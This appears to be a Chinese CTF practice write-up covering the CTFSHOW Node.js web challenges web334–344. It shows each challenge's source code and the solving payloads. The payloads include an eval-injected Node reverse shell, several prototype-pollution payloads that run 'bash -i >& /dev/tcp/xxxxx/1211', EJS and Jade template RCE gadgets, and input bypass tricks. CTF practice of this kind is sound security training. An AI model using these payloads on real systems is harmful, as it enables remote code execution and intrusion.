Practice - CTFSHOW WEB入门 nodejs篇

web334

nodejs 代码审计题。
login.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;

var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);

if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}

});

module.exports = router;

user.js:

1
2
3
4
5
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};

观察函数 findUser 的逻辑可以发现构造 ctfshow/123456,即可满足条件拿到 flag

web335-336

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

<!--
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-25 03:01:21
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-25 06:52:38
# @email: [email protected]
# @link: https://ctfer.com

-->


<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFFSHOW</title>
</head>
<body>
where is flag?
<!-- /?eval= -->

</body>
</html>

测试可知 /?eval= 参数可作为 nodejs eval 函数的参数执行,而且还有回显。弹个 shell 先

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1211, "xxxxx", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();

web337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

居然可以数组绕过,感觉和 php 好像。。。
payload: /?a[]=1&b[]=1

web338

给源码喽!
common.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
module.exports = {
copy:copy
};

function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}

login.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

utils.copy(user,req.body); 造成原型链污染,构造 payload:

1
2
3
POST http://c75be572-5063-473e-acbb-7367a33aba94.challenge.ctf.show/login
JSON
{"username":"aaaa","password":"aaaaa","__proto__":{"ctfshow":"36dboy"}}

web339

api.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

module.exports = router;

这里原型链污染覆盖 query 实现命令执行 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function

login.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}


/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

module.exports = router;

https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html:
Function环境下没有require函数,不能获得child_process模块,我们可以通过使用process.mainModule.constructor._load来代替require。

1
2
3
POST /login
JSON
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"')"}}

/api 反弹 shell 后 flag 在 login.js

web340

和上题相比只改了被污染 obj:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');



/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

module.exports = router;

user.userinfo 需要多污染一层才能到 Object.prototype

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"')"}}}

web341

ejs 原型链污染 rce https://www.anquanke.com/post/id/236354
payload:

1
{"__proto__":{"__proto__":{"outputFunctionName":"__tmp1; global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"'); var __tmp2"}}}

web342-343

jade 原型链污染 rce https://www.anquanke.com/post/id/236354
payload:

1
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/1211 0>&1\"');//"}}}

web344

1
2
3
4
5
6
7
8
9
10
11
12
13
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse
JSON.parse 会将参数转为 string,["str1", "str2"].toString() === "str1,str2" 于是可以绕过 ,(2c)。
payload: /?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

nodejs 部分到此结束。